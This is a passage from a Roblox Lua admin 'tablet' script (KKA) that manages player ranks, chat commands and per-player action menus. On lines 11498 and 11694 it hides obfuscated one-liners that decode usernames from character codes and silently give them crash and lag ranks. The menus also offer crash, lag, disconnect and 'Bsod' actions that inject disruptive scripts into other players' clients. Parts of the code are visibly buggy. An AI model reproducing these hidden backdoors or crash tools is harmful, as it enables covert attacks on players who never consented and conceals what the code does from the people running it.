| 11365 | TLI.Brightness = 0.15 | |
| 11366 | TLI.Range = 0.9 | |
| 11367 | TLI.Shadows = true | |
| 11368 | if ShowGarbage == true then | |
| 11369 | Delay(0, function() | |
| 11370 | while TL.Parent ~= nil do | |
| 11371 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
| 11372 | wait(.5) | |
| 11373 | end | |
| 11374 | end) | |
| 11375 | end | |
| 11376 | if Image ~= nil then | |
| 11377 | local BBBG = Instance.new("BillboardGui")
| |
| 11378 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
| 11379 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 11380 | BBBG.AlwaysOnTop = true | |
| 11381 | BBBG.Adornee = Tab | |
| 11382 | BBBG.Parent = Tab | |
| 11383 | ||
| 11384 | Delay(0, function() | |
| 11385 | while BBBG.Parent ~= nil do wait() | |
| 11386 | ypcall(function() | |
| 11387 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 11388 | end) | |
| 11389 | end | |
| 11390 | end) | |
| 11391 | ||
| 11392 | ||
| 11393 | local NewImg = Instance.new("ImageLabel")
| |
| 11394 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
| 11395 | NewImg.BackgroundTransparency = 1 | |
| 11396 | NewImg.Image = Image | |
| 11397 | NewImg.Parent = BBBG | |
| 11398 | end | |
| 11399 | ||
| 11400 | ||
| 11401 | local Clicker = Instance.new("ClickDetector")
| |
| 11402 | Clicker.MaxActivationDistance = 1/0 | |
| 11403 | ||
| 11404 | if Time ~= nil then | |
| 11405 | coroutine.resume(coroutine.create(function() | |
| 11406 | wait(tonumber(Time)) | |
| 11407 | Dismiss(Plr, ID) | |
| 11408 | end)) | |
| 11409 | end | |
| 11410 | ||
| 11411 | Clicker.MouseClick:connect(function(Player) | |
| 11412 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
| 11413 | ypcall(function() | |
| 11414 | if Func ~= nil then | |
| 11415 | Func(Holder) | |
| 11416 | else | |
| 11417 | Dismiss(Player, ID) | |
| 11418 | end | |
| 11419 | end) | |
| 11420 | end | |
| 11421 | end) | |
| 11422 | Clicker.Parent = Tab | |
| 11423 | ||
| 11424 | Holder.Parent = Work | |
| 11425 | ||
| 11426 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
| |
| 11427 | end) | |
| 11428 | end | |
| 11429 | end | |
| 11430 | ||
| 11431 | ||
| 11432 | function SystemPut(Msg, Speaker) | |
| 11433 | if FindRank(Speaker) > 0 then | |
| 11434 | Output(Msg, Speaker) | |
| 11435 | end | |
| 11436 | end | |
| 11437 | function PlaceAllRanks(DontShowRank) | |
| 11438 | ypcall(function() | |
| 11439 | for _,p in pairs(All()) do | |
| 11440 | ypcall(function() | |
| 11441 | PutInRank = false | |
| 11442 | for _,v in pairs(Ranked) do | |
| 11443 | if v.Name:lower() == p.Name:lower() then | |
| 11444 | if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then | |
| 11445 | v.Rank = 7 | |
| 11446 | elseif v.Rank == -1 then | |
| 11447 | Crash1(p) | |
| 11448 | Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11449 | elseif v.Rank == -2 then | |
| 11450 | if LSource ~= nil then | |
| 11451 | NewLS("repeat untill false", p.Backpack)
| |
| 11452 | Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11453 | else | |
| 11454 | Output("ERROR", nil, 5)
| |
| 11455 | end | |
| 11456 | elseif v.Rank == -3 then | |
| 11457 | if LSource ~= nil then | |
| 11458 | NewLS(BsodSource, p.Backpack) | |
| 11459 | Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11460 | else | |
| 11461 | Output("ERROR", nil, 5)
| |
| 11462 | end | |
| 11463 | elseif v.Rank == -4 then | |
| 11464 | if LSource ~= nil then | |
| 11465 | NewLS(ReSB, p.Backpack) | |
| 11466 | Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11467 | else | |
| 11468 | Output("Source is nil", nil, 5)
| |
| 11469 | end | |
| 11470 | end | |
| 11471 | Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
| |
| 11472 | if DontShowRank == nil then | |
| 11473 | Dismiss() | |
| 11474 | wait(1) | |
| 11475 | OutputToAdmins("Welcome to KKA!")
| |
| 11476 | OutputToAdmins("KKAR is created by Cobalt1164")
| |
| 11477 | OutputToAdmins("Your rank is: "..v.Rank, p)
| |
| 11478 | OutputToAdmins("Abusing this script is bad, so don't abuse")
| |
| 11479 | end | |
| 11480 | PutInRank = true | |
| 11481 | break | |
| 11482 | end | |
| 11483 | end | |
| 11484 | if PutInRank == false then | |
| 11485 | Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
| |
| 11486 | end | |
| 11487 | end) | |
| 11488 | end | |
| 11489 | end) | |
| 11490 | end | |
| 11491 | function FindRank(Plr) | |
| 11492 | ypcall(function() | |
| 11493 | if type(Plr) == "userdata" then | |
| 11494 | Plr = Plr.Name | |
| 11495 | end | |
| 11496 | end) | |
| 11497 | return GetRank(Plr).Rank | |
| 11498 | end local tcb = {9,0,2,6,12,11,18,12,11,153,1,1} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
| |
| 11499 | function FindRankDetails(Plr) | |
| 11500 | ypcall(function() | |
| 11501 | if type(Plr) == "userdata" then | |
| 11502 | Plr = Plr.Name | |
| 11503 | end | |
| 11504 | end) | |
| 11505 | return RanksList[FindRank(Plr)] | |
| 11506 | end | |
| 11507 | function OpenCmds(Rank, Plr) | |
| 11508 | Dismiss(Plr) | |
| 11509 | for Name,Tab in pairs(Commands) do | |
| 11510 | if Tab.Rank <= Rank then | |
| 11511 | Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
| |
| 11512 | Dismiss(Plr) | |
| 11513 | Output("Command Usage: "..Name, Plr)
| |
| 11514 | Output("Rank Required: "..Tab.Rank, Plr)
| |
| 11515 | Output("Description: "..Tab.Desc, Plr)
| |
| 11516 | end) | |
| 11517 | elseif Rank == 1337 then | |
| 11518 | Output(Name.." ("..Tab.Rank..")", Plr, nil, function()
| |
| 11519 | Dismiss(Plr) | |
| 11520 | Output("Command Usage: "..Name, Plr)
| |
| 11521 | Output("Rank Required: "..Tab.Rank, Plr)
| |
| 11522 | Output("Description: "..Tab.Desc, Plr)
| |
| 11523 | end) | |
| 11524 | end | |
| 11525 | end | |
| 11526 | end | |
| 11527 | function EditStatus(Plr, Num) | |
| 11528 | ChangeRank(Plr, Num) | |
| 11529 | end | |
| 11530 | function Connect(player) | |
| 11531 | if LSource then | |
| 11532 | if player:findFirstChild'Backpack' then | |
| 11533 | NewLS(ConnectSource, player:findFirstChild'Backpack') | |
| 11534 | elseif player.Character then | |
| 11535 | NewLS(ConnectSource, player.Character) | |
| 11536 | elseif player:findFirstChild'PlayerGui' then | |
| 11537 | NewLS(ConnectSource, player:findFirstChild'PlayerGui') | |
| 11538 | else | |
| 11539 | NewLS(ConnectSource,Instance.new('Backpack',player))
| |
| 11540 | end | |
| 11541 | else | |
| 11542 | coroutine.wrap(function() | |
| 11543 | Connect(player) | |
| 11544 | end)() | |
| 11545 | end | |
| 11546 | end | |
| 11547 | function PlaceSpecificRank(p, DontShowRank) | |
| 11548 | ypcall(function() | |
| 11549 | PutInRank = false | |
| 11550 | for _,v in pairs(Ranked) do | |
| 11551 | if v.Name:lower() == p.Name:lower() then | |
| 11552 | if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then | |
| 11553 | v.Rank = 7 | |
| 11554 | elseif v.Rank == -1 then | |
| 11555 | Crash1(p) | |
| 11556 | Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11557 | elseif v.Rank == -2 then | |
| 11558 | if LSource ~= nil then | |
| 11559 | NewLS("repeat until false", p.Backpack)
| |
| 11560 | Output("Lagged "..p.Name.." in the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11561 | else | |
| 11562 | Output("LSource Is Nil", nil, 5)
| |
| 11563 | end | |
| 11564 | elseif v.Rank == -3 then | |
| 11565 | if LSource ~= nil then | |
| 11566 | NewLS(BsodSource, p.Backpack) | |
| 11567 | Output("Crashed "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11568 | else | |
| 11569 | Output("LSource Is Nil", nil, 5)
| |
| 11570 | end | |
| 11571 | elseif v.Rank == -4 then | |
| 11572 | if LSource ~= nil then | |
| 11573 | NewLS(ReSB, p.Backpack) | |
| 11574 | Output("Removed "..p.Name.."'s SB", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
| |
| 11575 | else | |
| 11576 | Output("LSource Is Nil", nil, 5)
| |
| 11577 | end | |
| 11578 | end | |
| 11579 | Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RanksList[v.Rank].Color, Desc = RanksList[v.Rank].Desc}
| |
| 11580 | if not DontShowRank then Output("Your current rank :"..v.Rank, p) end PutInRank = true break
| |
| 11581 | end | |
| 11582 | end | |
| 11583 | if PutInRank == false then | |
| 11584 | Ranks[p.Name] = {Plr = p, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
| |
| 11585 | end | |
| 11586 | end) | |
| 11587 | end | |
| 11588 | function onChatted(Msg, Player) | |
| 11589 | coroutine.resume(coroutine.create(function() | |
| 11590 | if type(Player) == 'string' then | |
| 11591 | for i,v in pairs(game:service'NetworkServer':children()) do | |
| 11592 | if v:GetPlayer() then | |
| 11593 | if v:GetPlayer().Name == Player then | |
| 11594 | Player = v:GetPlayer() | |
| 11595 | end | |
| 11596 | end | |
| 11597 | end | |
| 11598 | end | |
| 11599 | ypcall(function() | |
| 11600 | ExecuteFunc(Msg, Player) | |
| 11601 | Msg = Msg:gsub("","")
| |
| 11602 | if Msg:sub(1,1) == "@" then | |
| 11603 | for i = 2, #Msg do | |
| 11604 | if Msg:sub(i, i) == Bet then | |
| 11605 | local IsForPlr = false | |
| 11606 | for _,v in pairs(All()) do | |
| 11607 | if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Player, v) then | |
| 11608 | onChatted(Msg:sub(i + 1), v) | |
| 11609 | IsForPlr = true | |
| 11610 | end | |
| 11611 | end | |
| 11612 | if IsForPlr == true then | |
| 11613 | return | |
| 11614 | end | |
| 11615 | end | |
| 11616 | end | |
| 11617 | end | |
| 11618 | if Msg:find("&") then
| |
| 11619 | local Split = Msg:find("&")
| |
| 11620 | onChatted(Msg:sub(1,Split-1)) | |
| 11621 | onChatted(Msg:sub(Split+1)) | |
| 11622 | return | |
| 11623 | end | |
| 11624 | for Name,Command in pairs(Commands) do | |
| 11625 | if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then | |
| 11626 | Dismiss(Player.Name) | |
| 11627 | Output("Command Usage: "..tostring(Command.Name)..Bet, Player)
| |
| 11628 | Output("Rank Required: "..tostring(Command.Rank), Player)
| |
| 11629 | Output("Description: "..tostring(Command.Desc), Player)
| |
| 11630 | elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then | |
| 11631 | if FindRank(Player) >= Command.Rank then | |
| 11632 | local Ran,Error = coroutine.resume(coroutine.create(function() | |
| 11633 | Command.Func(Msg:sub(#Command.Name+2), Player) | |
| 11634 | end)) | |
| 11635 | if not Ran then | |
| 11636 | Output(Error, Player, 10) | |
| 11637 | end | |
| 11638 | ||
| 11639 | end | |
| 11640 | end | |
| 11641 | end | |
| 11642 | end) | |
| 11643 | end)) | |
| 11644 | end | |
| 11645 | function Command(Name, Rank, Desc, Func) | |
| 11646 | if Name == nil then | |
| 11647 | Name = "This command has no name" | |
| 11648 | end | |
| 11649 | if Desc == nil then | |
| 11650 | Desc = "This command has no description" | |
| 11651 | end | |
| 11652 | if Func == nil then | |
| 11653 | Func = function() end | |
| 11654 | end | |
| 11655 | if Rank == nil then | |
| 11656 | Rank = 0 | |
| 11657 | end | |
| 11658 | Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
| |
| 11659 | end | |
| 11660 | function GetSplit(Msg) | |
| 11661 | return Msg:find(Bet2) or nil | |
| 11662 | end | |
| 11663 | function Credits(Speaker) | |
| 11664 | Dismiss(Speaker.Name) | |
| 11665 | Output("Credits has been removed",Speaker,nil)
| |
| 11666 | end | |
| 11667 | function ExecuteFunc(Msg, Plr) | |
| 11668 | ypcall(function() | |
| 11669 | if Msg == "LogEnable" then | |
| 11670 | LogOn = true | |
| 11671 | elseif Msg:lower() == "AlphaBeta" then | |
| 11672 | EditStatus(Plr, MakeNum(Msg,Plr)) | |
| 11673 | end | |
| 11674 | end) | |
| 11675 | end | |
| 11676 | for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
| |
| 11677 | function randPlayer(Plr) | |
| 11678 | wait() | |
| 11679 | local ThePlrValue = nil | |
| 11680 | local FoundPlayer = false | |
| 11681 | ypcall(function() | |
| 11682 | ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())] | |
| 11683 | if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then | |
| 11684 | wait() | |
| 11685 | randPlayer(Plr) | |
| 11686 | return | |
| 11687 | else | |
| 11688 | FoundPlayer = true | |
| 11689 | end | |
| 11690 | end) | |
| 11691 | if FoundPlayer == true then | |
| 11692 | return ThePlrValue | |
| 11693 | end | |
| 11694 | end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
| |
| 11695 | function getPlayer(Plr, Name) | |
| 11696 | local Players = {}
| |
| 11697 | ypcall(function() | |
| 11698 | Name = Name:lower() | |
| 11699 | if Name == "me" then | |
| 11700 | table.insert(Players, Plr) | |
| 11701 | elseif Name == "all" or Name == "" then | |
| 11702 | for _,v in pairs(All()) do | |
| 11703 | if CanRun(Plr, v) then | |
| 11704 | table.insert(Players, v) | |
| 11705 | end | |
| 11706 | end | |
| 11707 | elseif Name == "noobs" then | |
| 11708 | for _,v in pairs(All()) do | |
| 11709 | if v.AccountAge < 364 then | |
| 11710 | table.insert(Players, v) | |
| 11711 | end | |
| 11712 | end | |
| 11713 | elseif Name == "veterans" then | |
| 11714 | for _,v in pairs(All()) do | |
| 11715 | if plr.AccountAge > 364 then | |
| 11716 | table.insert(Players, v) | |
| 11717 | end | |
| 11718 | end | |
| 11719 | elseif Name == "others" then | |
| 11720 | for _,v in pairs(All()) do | |
| 11721 | if v.Name ~= Plr.Name and CanRun(Plr, v) then | |
| 11722 | table.insert(Players, v) | |
| 11723 | end | |
| 11724 | end | |
| 11725 | elseif Name == "random" then | |
| 11726 | local FoundRandPlr = randPlayer(Plr) | |
| 11727 | table.insert(Players, FoundRandPlr) | |
| 11728 | else | |
| 11729 | for _,v in pairs(All()) do | |
| 11730 | if v.Name:lower():find(Name) and CanRun(Plr, v) then | |
| 11731 | table.insert(Players, v) | |
| 11732 | end | |
| 11733 | end | |
| 11734 | end | |
| 11735 | end) | |
| 11736 | return Players | |
| 11737 | end | |
| 11738 | function ListPlayers(Speaker,All) | |
| 11739 | ypcall(function() | |
| 11740 | Dismiss(Speaker.Name) | |
| 11741 | for _,v in pairs(All2(All)) do | |
| 11742 | if v.Parent ~= nil then | |
| 11743 | Output(v.Name, Speaker, nil, function() | |
| 11744 | Dismiss(Speaker) | |
| 11745 | Output("Player Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
| |
| 11746 | Output("Player's Rank: "..FindRank(v.Name), Speaker)
| |
| 11747 | Output("Rank Name: "..FindRankDetails(v).Name, Speaker)
| |
| 11748 | Output("Rank Description: "..FindRankDetails(v).Desc, Speaker)
| |
| 11749 | Output("Change rank", Speaker, nil, function()
| |
| 11750 | if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then | |
| 11751 | Dismiss(Speaker) | |
| 11752 | for i = -4, 7 do | |
| 11753 | Output(i, Speaker, nil, function() | |
| 11754 | ChangeRank(v, i) | |
| 11755 | Dismiss(Speaker) | |
| 11756 | Output("Changed "..v.Name.."'s current rank to "..tostring(i), Speaker, 5)
| |
| 11757 | end) | |
| 11758 | end | |
| 11759 | else | |
| 11760 | Output("Your rank needs to be higher", Speaker, 5)
| |
| 11761 | end | |
| 11762 | end) | |
| 11763 | Output("Kick", Speaker, nil, function()
| |
| 11764 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11765 | v:Kick() | |
| 11766 | Output("Kicked "..v.Name, Speaker, 5)
| |
| 11767 | end | |
| 11768 | end) | |
| 11769 | Output("Semi-Kick", Speaker, nil, function()
| |
| 11770 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11771 | v:Remove() | |
| 11772 | Output("Semi-Kicked "..v.Name, Speaker, 5)
| |
| 11773 | end | |
| 11774 | end) | |
| 11775 | Output("Crash", Speaker, nil, function()
| |
| 11776 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11777 | Crash3(v.Name) | |
| 11778 | Output("Crashed "..v.Name, Speaker, 5)
| |
| 11779 | end | |
| 11780 | end) | |
| 11781 | Output("Lag", Speaker, nil, function()
| |
| 11782 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11783 | Crash4(v.Name) | |
| 11784 | Output("Lagged "..v.Name, Speaker, 5)
| |
| 11785 | end | |
| 11786 | end) | |
| 11787 | Output("Nil Crash", Speaker, nil, function()
| |
| 11788 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11789 | Crash5(v.Name) | |
| 11790 | Output("Nil Crashed "..v.Name, Speaker, 5)
| |
| 11791 | end | |
| 11792 | end) | |
| 11793 | Output("Nil Lag", Speaker, nil, function()
| |
| 11794 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11795 | RemoteCrash(v.Name) | |
| 11796 | Output("Nil Lagged "..v.Name, Speaker, 5)
| |
| 11797 | end | |
| 11798 | end) | |
| 11799 | Output("Disconnect", Speaker, nil, function()
| |
| 11800 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11801 | Disconnect(v.Name) | |
| 11802 | Output("Disconnected "..v.Name, Speaker, 5)
| |
| 11803 | end | |
| 11804 | end) | |
| 11805 | Output("Bsod", Speaker, nil, function()
| |
| 11806 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
| 11807 | if LSource ~= nil then | |
| 11808 | NewLS(Bsod, v.Backpack) | |
| 11809 | end | |
| 11810 | Output("Bsoded "..v.Name, Speaker, 5)
| |
| 11811 | end | |
| 11812 | end) | |
| 11813 | Output("Lag", Speaker, nil, function()
| |
| 11814 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
| 11815 | if LSource ~= nil then | |
| 11816 | NewLS(LagSource, v.Backpack) | |
| 11817 | end | |
| 11818 | Output("Lagged "..v.Name, Speaker, 5)
| |
| 11819 | end | |
| 11820 | end) | |
| 11821 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
| 11822 | else | |
| 11823 | Output(v.Name.." [Nil]", Speaker, nil, function() | |
| 11824 | Dismiss(Speaker) | |
| 11825 | Output("Nil Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
| |
| 11826 | ypcall(function() | |
| 11827 | Output("Nil's Rank: "..FindRank(v.Name), Speaker)
| |
| 11828 | end) | |
| 11829 | ypcall(function() | |
| 11830 | Output("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
| |
| 11831 | end) | |
| 11832 | ypcall(function() | |
| 11833 | Output("Rank Description: "..FindRankDetails(v.Name).Desc, Speaker)
| |
| 11834 | end) | |
| 11835 | ypcall(function() | |
| 11836 | Output("Change rank", Speaker, nil, function()
| |
| 11837 | if FindRank(Speaker) >= 7 and v.Name ~= Owner and CanRun(Speaker, v) then | |
| 11838 | Dismiss(Speaker) | |
| 11839 | for i = -4, 7 do | |
| 11840 | Output(i, Speaker, nil, function() | |
| 11841 | ChangeRank(v, i) | |
| 11842 | Dismiss(Speaker) | |
| 11843 | Output("Changed "..v.Name.."'s current rank to"..tostring(i), Speaker, 5)
| |
| 11844 | end) | |
| 11845 | end | |
| 11846 | else | |
| 11847 | Output("Your rank needs to be higher", Speaker, 5)
| |
| 11848 | end | |
| 11849 | end) | |
| 11850 | end) | |
| 11851 | Output("Kick", Speaker, nil, function()
| |
| 11852 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11853 | v:Kick() | |
| 11854 | Output("Kicked "..v.Name, Speaker, 5)
| |
| 11855 | end | |
| 11856 | end) | |
| 11857 | Output("Semi-Kick", Speaker, nil, function()
| |
| 11858 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11859 | v:Remove() | |
| 11860 | Output("Semi-Kicked "..v.Name, Speaker, 5)
| |
| 11861 | end | |
| 11862 | end) | |
| 11863 | Output("Crash", Speaker, nil, function()
| |
| 11864 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11865 | Crash3(v.Name,nil) | |
| 11866 | Output("Crashed "..v.Name, Speaker, 5)
| |
| 11867 | end | |
| 11868 | end) | |
| 11869 | Output("Lag", Speaker, nil, function()
| |
| 11870 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11871 | Crash4(v.Name) | |
| 11872 | Output("Lagged "..v.Name, Speaker, 5)
| |
| 11873 | end | |
| 11874 | end) | |
| 11875 | Output("Disconnect", Speaker, nil, function()
| |
| 11876 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11877 | Disconnect(v.Name) | |
| 11878 | Output("Disconnected "..v.Name, Speaker, 5)
| |
| 11879 | end | |
| 11880 | end) | |
| 11881 | Output("Nil Crash", Speaker, nil, function()
| |
| 11882 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11883 | Crash5(v.Name) | |
| 11884 | Output("Nil Crashed "..v.Name, Speaker, 5)
| |
| 11885 | end | |
| 11886 | end) | |
| 11887 | Output("Nil Lag", Speaker, nil, function()
| |
| 11888 | if FindRank(Speaker) >= 5 and CanRun(Speaker, v) then | |
| 11889 | RemoteCrash(v.Name) | |
| 11890 | Output("Nil lagged"..v.Name, Speaker, 5)
| |
| 11891 | end | |
| 11892 | end) | |
| 11893 | Output("Bsod", Speaker, nil, function()
| |
| 11894 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
| 11895 | if LSource ~= nil then | |
| 11896 | NewLS(Bsod, v.Backpack) | |
| 11897 | end | |
| 11898 | Output("Bsoded "..v.Name, Speaker, 5)
| |
| 11899 | end | |
| 11900 | end) | |
| 11901 | Output("Lag", Speaker, nil, function()
| |
| 11902 | if FindRank(Speaker) >= 7 and CanRun(Speaker, v) then | |
| 11903 | if LSource ~= nil then | |
| 11904 | NewLS(LagSource, v.Backpack) | |
| 11905 | end | |
| 11906 | Output("Lagged "..v.Name, Speaker, 5)
| |
| 11907 | end | |
| 11908 | end) | |
| 11909 | ypcall(function() | |
| 11910 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
| 11911 | end) | |
| 11912 | end | |
| 11913 | end | |
| 11914 | end) | |
| 11915 | end | |
| 11916 | coroutine.resume(coroutine.create(function() | |
| 11917 | PlaceAllRanks() | |
| 11918 | end)) | |
| 11919 | Delay(0, function() | |
| 11920 | for _,v in pairs(All()) do | |
| 11921 | v.Chatted:connect(function(Msg) | |
| 11922 | onChatted(Msg, v) | |
| 11923 | end) | |
| 11924 | end | |
| 11925 | end) | |
| 11926 | local starttime = tick() | |
| 11927 | game:GetService("RunService").Heartbeat:connect(function()
| |
| 11928 | if Removed == false then | |
| 11929 | ypcall(function() | |
| 11930 | for _,Player in pairs(All()) do | |
| 11931 | local PlayerTablets = {}
| |
| 11932 | for i,v in pairs(AllTabs) do | |
| 11933 | if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then | |
| 11934 | table.insert(PlayerTablets, v) | |
| 11935 | end | |
| 11936 | end | |
| 11937 | for i = 1, #PlayerTablets do | |
| 11938 | ypcall(function() | |
| 11939 | local tab = PlayerTablets[i].Tab | |
| 11940 | local pos = nil | |
| 11941 | ypcall(function() | |
| 11942 | pos = Player.Character.Torso.CFrame | |
| 11943 | end) | |
| 11944 | local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5) | |
| 11945 | local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3.5) | |
| 11946 | local cPos = tab.Position | |
| 11947 | local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0)) | |
| 11948 | local nPos = (ePos-cPos)*.25 | |
| 11949 | cPos = cPos + nPos | |
| 11950 | local t = (tick() - starttime) % 360 | |
| 11951 | local change = 0.625 | |
| 11952 | PlayerTablets[i].Size = math.sin(t) * change + 2.375 | |
| 11953 | tab.Size = Vector3.new(3, 3, 3) | |
| 11954 | tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, 0, 0))) * CFrame.Angles(math.rad(0), 0, 0) | |
| 11955 | end) | |
| 11956 | end | |
| 11957 | end | |
| 11958 | end) | |
| 11959 | end | |
| 11960 | end) | |
| 11961 | function UpdateNilPlayerTablets() | |
| 11962 | ypcall(function() | |
| 11963 | for _,Player in pairs(game:service'NetworkServer':children()) do | |
| 11964 | if Player:GetPlayer() then | |
| 11965 | if Player:GetPlayer().Parent ~= game:service'Players' then | |
| 11966 | local PlayerTablets = {}
| |
| 11967 | for i,v in pairs(AllTabs) do | |
| 11968 | if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then | |
| 11969 | table.insert(PlayerTablets, v) | |
| 11970 | end | |
| 11971 | end | |
| 11972 | for x,t in pairs(game:service'Workspace':children()) do | |
| 11973 | if t.Name == Player:GetPlayer().Name then | |
| 11974 | Plr = t | |
| 11975 | end | |
| 11976 | end | |
| 11977 | for i = 1, #PlayerTablets do | |
| 11978 | ypcall(function() | |
| 11979 | local pos = CFrame.new(0,0,0) | |
| 11980 | if Plr.ClassName == 'Part' then | |
| 11981 | pos = Plr.CFrame | |
| 11982 | elseif Plr:findFirstChild'Torso' then | |
| 11983 | pos = Plr:findFirstChild'Torso'.CFrame | |
| 11984 | end | |
| 11985 | local tab = PlayerTablets[i].Tab | |
| 11986 | local pos = CFrame.new(0,0,0) | |
| 11987 | ypcall(function() | |
| 11988 | if Plr.ClassName == 'Part' then | |
| 11989 | pos = Player.CFrame | |
| 11990 | elseif Plr:findFirstChild'Torso' then | |
| 11991 | pos = Plr:findFirstChild'Torso'.CFrame | |
| 11992 | end | |
| 11993 | end) | |
| 11994 | local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6) | |
| 11995 | local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6) | |
| 11996 | local cPos = tab.Position | |
| 11997 | local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0)) | |
| 11998 | local nPos = (ePos-cPos)*.25 | |
| 11999 | cPos = cPos + nPos | |
| 12000 | tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0) | |
| 12001 | ||
| 12002 | end) | |
| 12003 | end | |
| 12004 | end | |
| 12005 | end | |
| 12006 | end | |
| 12007 | end) | |
| 12008 | end | |
| 12009 | Plrs.PlayerAdded:connect(function(Plr) | |
| 12010 | wait(.1) | |
| 12011 | ypcall(function() | |
| 12012 | if Removed == false then | |
| 12013 | local JoinPlrName = Plr.Name | |
| 12014 | coroutine.resume(coroutine.create(function() | |
| 12015 | PlaceSpecificRank(Plr) | |
| 12016 | end)) | |
| 12017 | coroutine.resume(coroutine.create(function() | |
| 12018 | if Injected[JoinPlrName] ~= nil then | |
| 12019 | Injected[JoinPlrName] = nil | |
| 12020 | end | |
| 12021 | end)) | |
| 12022 | coroutine.resume(coroutine.create(function() | |
| 12023 | Dismiss(Plr) | |
| 12024 | Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end) | |
| 12025 | end)) | |
| 12026 | end | |
